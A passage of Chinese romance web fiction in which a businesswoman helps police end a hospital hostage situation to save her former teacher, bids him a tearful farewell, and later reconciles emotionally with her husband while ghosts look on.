他再纠缠,也无法得到什么,只会亲手扯掉她给的体面,自取其辱。 觥筹交错间,不知道过了多久。 突然,一个新人演员失声惊呼,手中茶杯掉到地上。 “砰”的一声,茶水混着大大小小的茶杯碎片,淌成一大片琥珀色水渍。 众人闻声,向他望去。 新人演员出道不久,一直是剧组里的小透明,突然闹出大动静,引来导演和大牌演员注目,很尴尬,举起手机晃了晃:“抱歉抱歉,刚看到个突发新闻,吓到了,哈哈。” “大惊小怪的,”跟他同经纪公司的前辈演员责备,“现在的媒体爱夸张,动不动就来个‘突发’、‘震惊’,其实太阳底下,哪有什么新鲜事。” 颜千澄想帮新人演员解围,笑着问:“什么新闻?” 新人演员赶紧应:“说是有个医闹的,持枪混进A大附属医院,见人就杀,刚巧A大药学院有几个老师带学生去实习,网友们都在猜他们会不会碰上。我刚看到实习指导教师的名单,里头有上次来我们剧组的喻教授……” 颜千澄手中筷子“啪嗒”一声,掉到地上。 喻君辞! 她心跳停了几拍,脸色一下子变得煞白,站起身:“抱歉,我有急事,先告辞了。” 未等众人反应过来,她就急急冲出包厢。 剧组众人面面相觑:“怎么回事?” 桑椹收回望向颜千澄背影的视线,压下心头的恐慌担忧,帮颜千澄掩饰:“A大是千澄姐姐的母校,千澄姐姐向来重感情,自然会担心母校的师弟师妹和……老师。” 众人理解,七嘴八舌感叹。 “又医闹,这都第几回了?” “怎么现在疯子这么多?A大药学院可不好考,去实个习被疯子杀掉,多可惜。” “唉,没品没格,只会挑手无寸铁的下手。” “喻教授人挺好的,希望他没事吧……” …… 导演拿出手机,想打电话问问他的朋友现在怎样了。 转念一想,担心一个不巧,电话铃声引来歹徒,给朋友招来杀身之祸,又踌躇着收回手机。 颜千澄用最快的速度跑到车库,开门上车,连声催促司机赶紧去A大附属医院。 车子启动后,她的第一件事,也是从包里拿出手机。 手指颤抖着,点了几次才点开通讯录。 然后,她也意识到,现在不能打电话给喻君辞。 心脏“咚咚咚”狂跳,颜千澄手指无意识地胡乱滑动通讯录,突然发现,她其实没有存喻君辞的联系方式。 喻君辞给她上第一堂课时,曾在黑板上写下他的手机号码和邮箱,让学生们有问题随时找他问。 颜千澄只是一时兴起,去旁听他的课而已,没想过要问他问题,就没存。 当时,也没想过,她后来会……那么那么的喜欢他,喜欢了那么久。 后来,跟喻君辞表白,说到一半,被他婉拒。 颜千澄不愿让喻君辞为难,不愿让他有背德的感觉,就克制着自己,只偶尔在公共场合跟他见面,说几句话,没有私下联系他。 再后来…… 更没有私下联系他的立场与理由了…… 颜千澄咬咬下唇,强迫自己镇定下来,查看事件进展。 警方特警队出动了。 颜氏集团大批安保也出动了,应该是关景墨的指示。 可是……来得及吗? 颜千澄关掉屏幕,放下手机,心乱如麻。 不知道喻君辞现在怎样了。 可能正在…… 可能已经…… 不,不要! 命运无常,天意难测。 颜千澄突然深刻地感受到,剧中女皇的心情。 在莫测的命运前,人,原来如此渺小。 此时此刻,颜千澄无法可想,只能默默祈祷。 神啊,请保佑喻君辞,保佑他平平安安。 如今,她只盼他能平安。 一路不停祝祷,好不容易,车子终于抵达A大附属医院。 A大附属医院门口停了四部装甲车和十几辆警车,周围已拉上警戒线,几队身穿漆黑色战术服,戴着防弹头盔,荷枪实弹的特警正准备进入,领头的是警察局林局长。 颜千澄赶紧上前:“等等我!我也要进去!” 林局长回头,看见颜千澄,惊讶:“你进去干嘛?歹徒还在里面,很危险的!” “我……颜氏集团已累计收购A大附属医院51%的股权,现在它是我的医院,我有权保护自己的合法财产!”颜千澄振振有词。 “你一个跨国大集团董事长,亲自上阵,保护一家医院?”林局长无法理解。 颜千澄知道林局长关心她,不愿她冒险,用别的理由无法说服他让她进去,时间上也耽搁不起,她环顾一圈,迅速找到警方的执法记录仪,强硬声明:“我是颜氏集团董事长颜千澄,A大附属医院的法定代表人,我有权进入医院,保护我的员工和朋友。我的生命安全,由我自己负责!如果我在医院里的行动,影响警方执行公务,警方可以当场击杀我,我和我的亲属都不得追究!” 林局长:“……” 颜千澄这样说,他的确是无权阻止她了,只能叮嘱一声:“千万要小心!” 颜千澄点头道谢,接过林局长递来的头盔、战术服和手枪,快速装备妥当,随特警队进入医院。 路上,林局长跟她讲述情况。 歹徒是单人行动,先是杀害了他妻子的主治医生,然后漫无目的四处游走,又杀伤两名医护人员。 院方迅速报警,同时将情况报给颜氏集团总裁办。 林局长脸色古怪:“你的先生关景墨接到通知后,立刻亲自带大批保镖来了,与警方的第一批巡警几乎是同时抵达。” “景墨也来了?”颜千澄惊讶。 林局长点头。 持枪医闹案,性质恶劣,事态严重,颜氏集团是应该高度重视。 但颜氏集团的总裁与董事长先后亲身踏入险地,冒着生命危险,直面持枪歹徒…… 这重视程度,是不是太过了? 关景墨和颜千澄,虽然都年纪轻轻,但向来精明冷静,极有分寸,林局长真不明白,他们为何会做出这种昏头的决定。 警方先到达的警察已和医院工作人员配合疏散人群,往日熙熙攘攘的医院,现在冷清得很,门诊大厅空空荡荡。 “景墨的人找到歹徒了,就在医院三楼的药房里,”林局长收到通讯,领着特警队和颜千澄上楼,“歹徒遇到A大药学院来实习的学生……” 颜千澄心跳又停了几拍,握紧枪柄,努力保持镇定。 林局长皱眉:“据汇报,歹徒将枪口指向学生时,A大一个叫喻君辞的副教授,挺身而出,挡在他的学生身前……” “现在,他被歹徒劫持了。” 第40章 喻君辞被劫持了…… 颜千澄眼前一黑,耳朵一阵轰鸣,过了好一会儿,才渐渐恢复清明。 事到临头,颜千澄反而彻底镇静下来。 她告诉自己,应该庆幸的,喻君辞是被劫持,不是被…… 他还活着,感谢上天! 但他现在有生命危险,她必须救他。 不惜一切救他。 一定要护他平安。 颜千澄跟着特警队,用最快的速度,来到三楼药房。 看见关景墨站在药房门口,脸色沉凝,身边围了一圈保镖,还有几个穿白大褂抹着眼泪的年轻人,应该是喻君辞的学生。 颜千澄戴着防弹头盔,身穿特警队的黑色战术服,遮得严严实实。 但关景墨恋慕她多年,看两眼就认出她来。 关景墨没有丝毫讶异,像是早已猜到。 他向颜千澄和林局长点头致意,退开几步,让出道路,小声说:“我请来几名谈判专家,但……” 喻君辞身处险境,随时有可能……颜千澄没心情多想,跟着林局长进入药房。 A大附属医院是三甲医院,药房面积近四百平方,摆放着十二排五层双面药架。 药房里的药师已疏散离开,一个穿红色T恤、灰黑牛仔裤的中年人,背靠外侧药架,一手扼住喻君辞的颈脖,一手握枪,指着他的太阳穴。 关景墨请来的,都是知名谈判专家,正试图跟歹徒沟通。 但歹徒没理会他们,反倒对他枪下的喻君辞有点兴趣。 “你怎么不怕?”他沙哑着声音问。 歹徒持枪一路走来,见到他的人,都吓得尖声惊叫,四散逃跑。 喻君辞是第一个主动站到他面前,要替别人挡枪的。 歹徒一时拿不定主意,要不要杀他。 冰冷的枪管紧贴着太阳穴,喻君辞命悬一线,神态却出奇地宁静,依旧是往日那副云淡风轻的模样:“因为我相信,早在我们出生前,我们死亡的时间、死亡的地点、死亡的原因、以及所有一切因缘际会,都已经注定。如果我注定今日要死在这里,那害怕恐惧也没用,无法改变什么。” 歹徒浑浊的眼睛现出几分迷惘。 颜千澄心里刚升起希冀,歹徒浑身气势又腾地凌厉起来:“你的意思是,我的妻子,注定要那样死在庸医手里吗?她温柔善良,平日连蚂蚁也不愿踩死一只,凭什么要那么年轻就……?” “爱妻骤然离世,自然会痛不欲生,”喻君辞注视着歹徒变得通红的眼睛,语调安定柔和,“但是,死亡,并不是结束。东方的清净世界、望乡台、三生石,西方的天堂与地狱,几千年来,世界各地不约而同地流传下来的传说,如果是真的呢?” “如果人一世生命结束之后,真的会以另一种形式存在呢?” “如果,真的有灵魂呢?” “你对医生的救治方式有疑问,可以询问专业人士,可以起诉医院,可以通过正规合法的渠道为你的妻子讨回公道。可你却选择将枪口指向无辜的人……如果,你妻子的灵魂尚未离去,一直牵挂着你,担忧着你,看着你手染鲜血,她会不会……很难过呢……” 喻君辞的尾音,在半空悠悠落下,药房里一片静默,死一般的静默。 歹徒握枪的手颤抖着,神情变幻不定。 林局长屏息,悄悄做了个手势。 颜千澄知道,是“伺机而动,必要时可击毙”的意思。 她握紧手枪,收敛心神,将全部注意力集中在歹徒身上。 歹徒似乎有所触动。 可沉默片刻后,他沉沉开口:“人死后会怎样,你们这些专家各有各的说法。我是穷苦出身,比不上你们这些文化人,我只知道,我妻子死了,我就见不得你们好好活着,不管了,大家一起……” 余下半句“下地狱吧!”还未说出口,就被短促尖锐的“砰!”一声打断。 是颜千澄感知到歹徒的杀意,抢先一步开枪。 子弹命中歹徒肩膀,歹徒惨叫一声,手枪脱手飞出。 特警们趁机一拥而上,压制歹徒。 颜千澄没再补枪,射击时勉力集中精神酝酿出的“心如止水”“人枪合一”状态迅速褪去,冒着弥散的硝烟味冲向喻君辞,急急问:“你没事吧?有没有受伤?” 喻君辞正扶着药架,站稳身子,听到声音,猛地转头,看见颜千澄。 然后,在歹徒枪口下都不失镇定的他,脸上瞬间阴云密布,怒声斥责:“你怎么来了?不知道很危险的吗?” 喻君辞一向温和,颜千澄从来没见过他这样恼怒的样子,一时有些懵:“我听说,你被劫持了……” 喻君辞更怒:“我被劫持,你让警察来救我就得了!你是警察吗?受过专业训练吗?逞什么英雄?受伤了怎么办?” 颜千澄指指歹徒身上的伤口,小声辩解:“我有持枪执照,枪法很准的……” 想到喻君辞可能不熟悉专业术语,颜千澄没说她在全国狙击锦标赛移动靶环节破纪录的战绩,继续小声辩解:“我受过专业的反劫持训练与危机处理特训,还上过特警战术课,在警察局的模拟劫持场景测评中,得过优秀的评级。” 警察局林局长之所以肯让颜千澄随行,除了她态度强硬,无法拒绝外,也考虑到,她有足够的能力及可信度。 做手势指挥时,林局长都特意多看颜千澄一眼。 他深知,在场所有人中,颜千澄枪法最准,心理素质最好。 到了关键时刻,比起他带来的特警,林局长更信任颜千澄这个编外人员。 喻君辞噎住。 他早就知道,千澄是个全才,兴趣广泛,人又聪明,她擅长什么都不奇怪。 但他就是不愿千澄跑来救他。 多危险啊…… 刚刚,他真心实意地对歹徒说,所有一切因缘际会,在人出生前,就早已注定,无法改变,根本无需害怕恐惧。 自己的生死安危,喻君辞真的能看淡。 可是…… 就算再淡然,再透彻。 关心,则乱。 身边人来人往,颜千澄脱下防弹头盔和战术服,连同刚用来立过功的手枪一起,还给林局长。 喻君辞不说话,颜千澄一时也不知道该说什么。 她觉得,也许,应该走了,集团下属医院发生医闹杀人事件,有很多善后工作要做的。 可一想到,要是运气差一点点,可能就再也见不到喻君辞了,颜千澄又迈不开脚步。 关景墨在药房门外远远望了几眼,确认两人都没事后,低声吩咐医院院长配合林局长,用最快的速度收拾现场。 然后,他没再表示什么,默默转身离开。 现场收拾完毕,医院院长退出药房时,轻轻带上门。 一室寂静。 喻君辞的视线,缓缓转到颜千澄脸上。 颜千澄站在原地,看着他,眼圈发红。 喻君辞聪明敏锐,怎会不知颜千澄的心情,以及她那些未曾说出口的话语。 良久。 喻君辞轻叹一声:“千澄,已经过去很久了,你该放下了。” 他缓缓说:“放下过去,多着眼于现在和未来,让自己开心些。” 他的语调,很温柔很温柔,像在安慰受伤的幼童。 可字字句句,落在颜千澄心里,却像一记记重锤。 在理智上,颜千澄早已放弃跟喻君辞之间的爱情。 她早就,不敢再期盼,今生能有缘跟他相守了。 她一直克制着,未曾试图打扰喻君辞的生活。 只是,在感情上,她一直都放不下。 一直在默默惦念着他。 爱着他。 如今,喻君辞明明白白地跟她说,该放下了…… 颜千澄死死咬着下唇,想将泪意压下。 喻君辞看见了,心头一颤。 眼圈也微微泛了红。 他一时想不出该怎么办,踌躇着,手足无措。 半晌,颜千澄颤声问:“喻老师,你能不能,抱一抱我?” 越说,语调越是颤得厉害:“就这一次,抱一会儿,就好……” 喻君辞心一软,没再迟疑,上前一步,张开手臂,拥抱颜千澄。 这一世,他们连牵手都不曾。 这是他们第一次打破彼此间的距离。 也是此生的最后一次。 喻君辞抱得很轻,是长辈对小辈式的拥抱,不带一丝情.欲。 这是他现如今,能给的所有。 颜千澄不敢放肆,浅浅的靠在喻君辞身上。 他的怀抱,很温暖。 是觉得不够,是想要更多。 但,不可以了。 其实,她应该知足的。 这轻轻浅浅的,短暂的温柔,已能温暖她整个生命。 于是,她不再是活在别人的期望里,一部机械地追求财富权势的机器,不再是一缕身无所依,茫然迷惘不知自己该往哪儿去的断线风筝。 她是一个活生生的人。 “其实,我不想长大……”颜千澄哽咽,将眼泪藏在喻君辞怀里。 喻君辞轻叹,宽慰地抚摸她的头发。 人,终究是要长大的。 长大,知道不是每一段感情,都有一个完满的结局。 长大,接受人生是不完美的,总有这样那样的遗憾。 但就算有种种遗憾,一路走来,仍有无数美丽的风景,足慰平生。 喻君辞没说太多。 他一直都知道,千澄是个聪明的学生。 他相信,她会懂。 颜千澄果然懂。 两人沉默相拥良久,最后,她低低一叹:“谢谢你……” 那年她尚且单纯懵懂,仰慕他的光亮,在这最好的人身边,看见爱情最美的模样。 就算无法真正靠近,就算无缘跟他走到最后,在漫长又短暂的一生中,能体会到真真正正爱一个人的感觉,本身就是一件幸福的事,是一段弥足珍贵的记忆。 也许,这一世跟他的遇见,只是为了学会,真正的爱,不是占有,而是最真诚最温柔的祝福吧…… 喻君辞淡淡微笑:“千澄,以后好好照顾自己……愿你逢凶化吉,一生平安喜乐。” 他跟颜千澄的感情,始于师生情。 中途纵有惊涛暗涌。 最终,仍归于师生情。 40-45 第41章 霓虹处处,车水马龙,人群熙熙攘攘,热闹得很。 不知道从什么时候起,城市里再也没有真正的夜晚。 颜千澄自己开着跑车,熟练地拧转方向盘,从一条街道,驶入另一条街道。 绕着A大校园驶了一圈,驶去曾想和喻君辞一起去的电影院,再绕着她的高中母校驶一圈,那时候她还未认识喻君辞,经过喻君辞最喜欢去的茶叶店,再次驶往A大附属医院,看见医院门口的警戒线还未拆除。 颜千澄停下来,休息一会儿,继续开车,漫无目的。 每次驶至十字路口,想转弯就转弯,想直行就直行。 反正这座超级大城市,是她出生长大的地方,怎么也不会迷路。 豪华跑车一路飞驰,掠过各种各样的风景。 颜千澄好像想了很多,又好像什么也没想。 不知道过了多久,精力快耗尽了。 颜千澄将车子停在空旷的郊外,把脸埋在方向盘上。 “千澄姐姐没事吧?”半空中,贝贝问。 电影杀青后,贝贝无处可去,就跟着它的好朋友谢凡,看着颜千澄冲入医院,一枪击中歹徒,救下喻君辞,看着颜千*澄与喻君辞道别,再跟着颜千澄,在这座超级大城市兜兜转转,飘了半夜。 颜千澄是天之骄女,贝贝见惯她做任何事都游刃有余、总被众人奉承吹捧的模样,很少见她这样失魂落魄,实在担心。 谢凡沉默片刻,摇头:“她很坚强,会自己振作起来的。” 果然,时针指到十二点时,颜千澄整理好心情,抹了把脸。 跑车掉头,平稳地向颜氏祖宅驶去。 回到家。 在客厅碰到关景墨,他依旧是白天那副西装革履的模样,正坐在沙发上揉着太阳穴,脸上有几分疲惫。 两人视线相遇,一时都不知道该说什么。 静默片刻,关景墨先反应过来,将他手边放着,还未喝的温牛奶双手递给颜千澄,吩咐佣人另温一杯给他。 然后,关景墨像什么事都没发生过一般,脸色如常,语调平缓:“我刚看过小园,她已经睡熟了,保姆说她今天有乖乖吃饭。” 说完孩子,再汇报公事:“医闹事件官方通报已发布,已启动舆情监控,涉事病历与诊疗记录已封存待政府核查组调查,遇难者家属已安抚完毕。明天将对医院管理层及安保人员进行责任追究,增设患者投诉渠道,加强安保措施,安排心理医生进院疏导医护人员……” 颜千澄听完,轻叹:“你做得很好,辛苦你了。” 她被自己的情绪困住,在全城大街小巷胡乱兜圈的时候,关景墨默默承担了一切善后工作。 关景墨微笑:“不辛苦,我是颜氏集团的CEO,这是我的工作。” 颜千澄顿了顿,接一句:“今天……抱歉……” 颜千澄说得含糊,但关景墨怎会不明白她的意思? 千澄是说,今天,她对别人流露出太多情感,甚至不惜冒生命危险去救他。 千澄担心,她的行为,伤害了他这个配偶,向他致歉。 关景墨移开视线,很快又转回来,目光如水温柔:“你不需要道歉,之前……我们说好了的,我能理解,能接受。” 千澄从未欺瞒过他。 她早已明明白白地跟他说过,这辈子,虽然跟喻君辞有缘无分,但喻君辞在她心里,是特殊的。不会有另外一个异性,在她心里的地位能越过喻君辞,包括他关景墨。 当时,关景墨的回答是“我愿意接受,我心甘情愿”,以及“我觉得,人要知足”。 很多小说电影里,主角们从生到死,都只爱对方一人,将毕生情感全部奉献给对方。 完美得像童话。 但人们长大后,会知道,初恋大多不会成功。 大多无疾而终。 纵然能结果,也多是苦涩无比的果。 很多人,要经历几次无法善终的感情,才学会该怎样爱一个人,该怎样与爱人相处相守。 从人生最初的情感萌动,一步一步走到婚恋期,大多数人,心里会留下一个或多个身影。 有些人心里的影子淡些,随着岁月轮转,化为偶尔午夜梦回时的一声慨叹。 有些人心里的影子,即便历经数十年,也清晰得一如昨日。 但就算心里留有永不磨灭的白月光,人依然有资格继续前行。 只要心怀坦荡,不故意欺瞒自己与他人,人依然有资格探寻新的可能性,再给自己一个学习爱人与被爱的机会。 关景墨不是完全没有心酸和嫉妒。 但他知足,从不曾奢望,能完全占有所爱之人过去现在未来的全部情感。 爱人珍藏于心的过往,他愿意理解与尊重。 愿意信任她,给她足够的空间,让她自己处理不愿向他细说的私人情绪。 愿意默默站在原地,等待她的归来,或接受她的离去。 颜千澄注视着关景墨。 他没有多说什么,在她面前,他总是拙嘴笨舌。 可颜千澄感觉到,就像不久前,将满城乱兜的跑车开入车库一般,她空落飘零的心,也慢慢,慢慢地,在关景墨沉静的守候中,在他柔和的眸光里,停靠下来。 颜千澄淡淡微笑。 吹了半夜冷风,她脸上的肌肉有点僵硬,笑容没有往日完美,却透出几分奇异的生动:“其实,我在学着……慢慢放下……” 关景墨闻言,表情有几分复杂。 高兴。 又有点慌。 他突然想起,上次心理咨询时,黄若安跟他说的话。 “爱人与被爱,都是需要学习的。有时候,学会被爱,比学会爱人更难。” “她在学着慢慢放下,惜取眼前人。而你,要慢慢学着接受。” “学着接受她的爱。” 如今,关景墨已能坦然地接受千澄对他工作能力的肯定与赞赏,接受千澄偶尔的关心体贴。 可是…… 接受她的爱? 千澄放下过往后…… 会爱他吗? 他配吗? 关景墨一时不知道该怎么答,半晌,才“嗯”一声,低下头,盯着地板,不敢再看她。 颜千澄笑笑,道声“晚安”。 关景墨小声应“晚安”,待颜千澄转身,关景墨偷偷抬头,目送她回房间。 客厅角落的古董落地钟,时针正指向一点。 ______ 惊涛骇浪终会止息,普通人的生活旋律,终会回归最朴素的节奏。 平静,平淡,一日复一日。 电影杀青,进入后期制作,导演三番四次在社交平台上抱怨,说挑不到合适的主题曲。 颜千澄曾师从国际顶尖音乐家,系统修习过作曲填词,想试试自己作一首。 这些天,颜千澄除了陪伴小园、和经纪人一起挑选剧本、和关景墨一起出席重要会议、以及必要的休息,其余时间都待在录音棚,沉浸式创作。 黄若安说,这叫“升华”,是自我疗愈的重要途径。 有天晚饭后,颜千澄回到家,管家说小园在房间里,关景墨正陪着她。 小园房间开着门,颜千澄远远望见,关景墨正在帮小园梳头。 颜千澄脚步一顿,没进门,默默望着他们。 小园在福利院时是留短发的,方便打理。 上幼儿园后,她看到别的小朋友扎小辫子,眼睛里都是羡慕。 颜千澄和关景墨都注意到了,没再帮小园剪发,这两天,她头发稍微长些,终于可以扎小辫子了。 她坐在跟她身高适配的儿童梳妆台前,照着镜子。 关景墨小心翼翼地帮小园梳顺头发,然后左手握起她后脑勺上的一小撮头发,右手拿梳子梳几下,左看右看,又再梳几下,确认那小撮头发梳齐整了,没有碎发散落,再放下梳子,拿起一条五颜六色的小皮筋,把那小撮头发扎起来。 关景墨一脸严肃认真,像在审阅财务报表,动作却笨拙无比,扎一条小辫子,都扎了许久,还扎歪了,明显完全没有扎辫子的经验与天赋。 关景墨扎完后,看两眼,自己都觉得扎得不好。 他不好意思地笑,跟小园沟通,然后拆掉小辫子重新扎。 这次比之前稍微熟练了点,但还是扎得不好。 关景墨叹气,跟小园沟通,再重新扎。 幸好小园很乖,头发被关景墨反复折腾,也没有不耐烦,还打手势安慰他,只当是在玩一个有趣的游戏,笑得很开心。 等关景墨再一次失败时,颜千澄终于看不下去,迈步走进房间。 父女两人同时抬头看她。 关景墨叫了声“千澄”,想到她可能看见自己刚才笨拙的样子,脸上掠过几丝尴尬。 小园眼睛亮亮,嘴唇开合,无声地喊“妈妈”,指指自己的头发,打手势表示她要扎小辫子了,问颜千澄她这样好不好看。 “好看,我们小园最好看了。”颜千澄笑笑,搬张小凳子,坐在小园身后,接过关景墨手里那撮头发,拿梳子梳顺,用皮筋扎起。 扎完一条小辫子,手指灵活地在小园乌黑细幼的头发间穿梭,没多久,又扎了一条小辫子,动作熟练无比。 关景墨和小园都看呆了。 “原来你会扎头发啊。”关景墨早知颜千澄是个全才,但真没想到,她连扎头发都会。 颜千澄出身豪门,自小衣食住行都有专人打点,按理说,她如果想弄个什么发型,有发型师和佣人伺候,根本不需要她亲自动手。 而且,她是Alpha,在社会认知中,是不应该将心思花在梳妆打扮上的性别。 在社会认知中,真正需要学习梳妆打扮的,是Omega。就算身边佣人环绕,也应该有一双巧手的,是Omega。 关景墨身为Omega,却在给女儿梳辫子这方面,都被颜千澄这Alpha比下去,一时心中五味杂陈。 颜千澄欣赏着女儿的新发型,听到关景墨的感慨,转头看他一眼,宽慰道:“我母亲也是Omega,她也不会扎头发。” 尘封的记忆缓缓苏醒,颜千澄目光飘远,语调平平:“我母亲,是个知名美人,很爱打扮,每天发型不重样,但都是发型师和佣人帮她弄的,她一点不会,也从来不会帮我梳辫子。” 颜千澄顿了顿:“而我父亲……” 听到颜千澄提她父亲,关景墨一惊,精神瞬间高度集中,暗暗关注怨灵的动静。 怨灵在窗外远方,静静望着他们,身边飘着那个叫贝贝的小鬼。 颜千澄的话,它分明听见了,周身戾气一阵翻腾。 关景墨心头一紧,迅速挡在颜千澄和小园身前。 怨灵的攻击无形无质,关景墨的阻挡根本一点用都没有,他只是下意识地,想护着颜千澄和小园。 没想到,以往翻江倒海般的能量洪流,这次还未真正成形,就被怨灵自己收回去了。 残余的力量在半空飘散,体质特殊的关景墨感觉呼吸微窒,小园是孩子,也很敏感,若有所觉地四处张望。 颜千澄是成年人,不是特殊体质,完全没有感觉,疑惑:“你们怎么了?” 关景墨不知道该怎么说。 小园打手势,表示刚才感觉有风,现在没了。 颜千澄打量关景墨几眼,没多问。 想着有些话也不适合让小园一个孩子听,就没继续之前的话题。 颜千澄陪小园照镜子,摸摸她的小辫子,赞她可爱。 然后跟小园聊幼儿园里的趣事,监督她刷牙洗脸,哄她睡觉。 关景墨陪着她们,偶尔不着痕迹地观察怨灵。 感觉……怨灵好像收敛了很多。 是因为小园吗? 怨灵喜欢孩子,小园又跟它有几分渊源,怨灵不愿它的复仇,伤害到无辜的小园? 还是因为…… 它对千澄…… 它终究是狠不下心,伤害千澄? 现在,怨灵总是离千澄远远的。 不动手,只默默关注。 但也一直没离开。 是因为,还放不下怨恨,内心还有纠结? 还是…… 它……舍不得离开? …… 关景墨不断在脑海里揣摸怨灵可能的想法,推演它接下来的行动。 心不在焉的,都没注意到,小园睡下后,颜千澄沉默着,一路送他到他的房间门口。 第42章 房门外,两人站定,关景墨回过神来,发现颜千澄脸色暗沉。 “怎么了?”关景墨问。 突然发现,他现在能自然地关心千澄,不再害怕掌握不好边界分寸,冒犯她,惹她不高兴。 颜千澄也能自然地向他袒露自己的脆弱:“想告诉你……我父亲……” 关景墨握着门把手的指尖倏然发白,小心地看向怨灵。 颜氏祖宅,走廊宽长,怨灵站在颜千澄身后十步处。 它身边的小鬼,脑袋转来转去,视线在他们和怨灵间来回移动。 也许是因为,距离颜千澄上次提“父亲”没多久,怨灵这次有心理准备,它没有失控,静静地注视着颜千澄。 颜千澄顺着关景墨的目光望一眼,沉默片刻,继续说:“我父亲,身为Alpha,却在替人梳妆打扮上很有一套,能编很多辫子,甚至会梳那种特别复杂的古典发髻。” 关景墨知道,“父亲”,是千澄心里过不去的坎。 千澄极少提起父亲,但每次提起,她的心情都极复杂。 关景墨不知道该如何安慰她,只能默默听着。 “我上幼儿园的时候,也像小园一样,羡慕别的小朋友有小辫子,”颜千澄缓缓说,“有一天,有个孩子向我炫耀,她头上有四条麻花辫,脑袋两侧各一条,后脑勺有两条,扎得整齐漂亮,每条辫子上还绑着蝴蝶结丝带等小饰品,一看就知道,为她扎头发的人,肯定花了不少时间心思。” “她说是她爸爸妈妈帮她扎的。” “我回到家,跟母亲说,希望她帮我扎小辫子。母亲说她不会扎,让我找佣人。” “我那时候年纪小,不懂事,不想让佣人扎,就希望我的爸爸妈妈帮我扎。” “我知道父亲会扎辫子,就一心等他回家。” “我假装睡觉,等啊等,一直等到深夜,听到父亲敞篷跑车的引擎声。” “我高兴极了,跑出去。” “父亲跑车的副驾驶上,坐着一个Omega,梳着繁复的发髻。” “后来我查过,那发髻叫灵蛇髻,要将头发分成几部分,后面的头发梳成高马尾,插入发髻,将马尾绕在发髻上,绕几圈,做成灵蛇形状,固定好,头两侧的头发扎成几条麻花辫,再盘绕在后面的发髻上,还要戴上发饰……没一两个小时梳不出来。” “父亲温柔地抚摸那Omega的头发,问她喜不喜欢,说下次再亲手帮她梳金雀钗头髻,给她插上古董步摇与花钿,让她金玉辉映,富丽雍容,所有人都羡慕她。” “我跑到父亲车门边,小声问他,能不能帮我梳条小辫子。” 颜千澄停下,这次,沉默了很久。 关景墨屏息,一时什么都忘了,注意力全集中在她身上。 终于,颜千澄继续说下去:“我父亲转头……看了我一眼,一脸烦躁,猛地推开车门,将我推到地上……很疼。” “他没再看我,没跟我说半句话。那段时间,祖母在国外视察,他就肆无忌惮地拉着那Omega,去他房间了……” 关景墨心头剧痛:“千澄……” 颜千澄叹气:“一件小事而已,可我……很难过。” “我知道父亲为什么会变成那样。祖母对父亲期望很高,给他太大压力,让他觉得,他总是不够好,做什么都做不好,干脆就摆烂了。” “但,孩子年幼时,并不需要父亲多优秀。” “有信仰,有原则,心地善良,做事认真,就算没有万贯家财,没有高官厚禄,看上去普普通通平平凡凡,他都是一个好父亲。” “哦,如果在我小时候,他能花一点点时间,帮我梳条小辫子,他在我心里,就是一个不错的父亲了……” 关景墨眼圈发红。 眼尾余光里,小鬼低着头,在啃手指,怨灵向千澄走了两步,顿了顿,又突然后退,周身气息翻涌,浓雾般混沌。 关景墨顾不上它们,他心头沉甸甸的,嗫嚅着,想说些话安慰千澄。 颜千澄摆手,眼睛泛起几点泪光,唇角却轻轻扬起。 “后来,我就学会了梳灵蛇髻和金雀钗头髻,不是很难,我自己也能梳,”说着说着,她笑容更明亮了,“今天,帮小园梳小辫子……我真的很开心。听说,父母在养孩子的过程中,也重新养了自己一遍,我觉得,这次,我可以将自己养得很好……” 关景墨再也忍不住,上前抱紧颜千澄,像拥抱当年那个渴望父母关爱的幼儿园小女孩,颤声说:“我陪你一起……” 抱歉,在你最需要爱的时候,没能陪在你身边。 但往后余生,只要你需要,我都在。 我愿陪着你,一起走过以后或跌宕起伏或平平淡淡的日日夜夜。 颜千澄被突如其来的温暖弄得一怔,然后笑了:“嗯,我们一起。我觉得,我们能成为一对不错的父母。” 关景墨轻抚她的头发,柔情满满:“我……现在还不太会,等我练熟了,帮你扎辫子,你什么时候想扎,我都帮你扎……” 颜千澄想起他给小园扎头发的笨拙模样,想笑,忍住了,哄他:“好吧。” 心里柔情涌动,颜千澄抬起双臂,回抱关景墨。 两人相拥,气息相缠。 颜千澄手臂稍稍收拢,指尖在关景墨脊背上轻柔划过。 空气微热。 安慰性质的拥抱,不知道什么时候,变得有点异样。 关景墨呼吸一紧,热意涌上脸颊耳朵。 他硬着头皮,偷偷往怨灵和小鬼那边望。 怨灵不在,不知道什么时候飘走了,它……似乎挺尊重别人的隐私。 小鬼正饶有兴致地观看。 见关景墨望向它,它指指他的房间,仗着颜千澄听不见它说话,光明正大地催:“你快点呀,磨蹭什么?趁千澄姐姐心情不好,赶紧主动勾引呀,错过这个村,就没这个店了!” 关景墨闻言,脸颊一下子红透。 小鬼惊讶:“不是吧,你不会?网上都说你……” 网上很多人说,关景墨手段高超,外表看起来一本正经的,私下却放.浪得很,主动爬上最受欢迎Alpha颜千澄的床。 惹怒颜千澄后,又使了什么什么狐媚香.艳手段,勾得颜千澄原谅了他,成功坐稳颜家主夫的位子。 自从颜千澄强势发声,维护关景墨后,网友们不敢再人身攻击他了。 但含酸带刺的臆测,还有……某些想象,是禁不住的。 古今中外的名人,大多免不了被人说几嘴私生活,关景墨又怎能例外? 想到关景墨可能不喜欢听网上那些污言秽语,小鬼很好心地改口:“那要不要我教教你?首先呢,要娇.喘一声,‘嗯’、‘啊’、‘呜’都行,重点是要声音沙哑带点颤抖,叫得千澄姐姐心里一荡。然后呢就用很有内容的眼神看千澄姐姐,知道什么叫‘很有内容’吧,眼睛带点湿,又娇羞又渴望,就是所谓的又纯又欲啦,让千澄姐姐心里痒痒的,忍不住亲你。你呢就欲拒还迎,一边让她亲吻,把她的手放自己身上,一边颤抖着声音,娇羞点说‘哎呀,你好坏坏哦,别这么猴急啦,去……去……房间。’再然后,千澄姐姐该懂了,会好好疼你的……” 贝贝不愧为长期待在片场,热爱看拍戏的小鬼,捏着嗓子教关景墨说娇羞话,听得关景墨无地自容。 他是真的不知道,该怎么……勾……勾引,从小到大,没人教过他,他也没学过。 小鬼说的那些,听起来好像……有点道理? 该听它的吗? 可是……可是…… 难度好高…… 关景墨尴尬得不知道该怎么办,身子逐渐变得僵硬。 颜千澄察觉,体贴地放开他:“夜深了,早点休息吧,晚安。” 关景墨:“……” 小鬼:“……” 静默片刻,小鬼恨铁不成钢:“你这大木头!我都说别磨蹭,赶紧的了!错过这个村,什么时候才有这个店?” 关景墨羞愧低头。 他是真的做不到啊…… 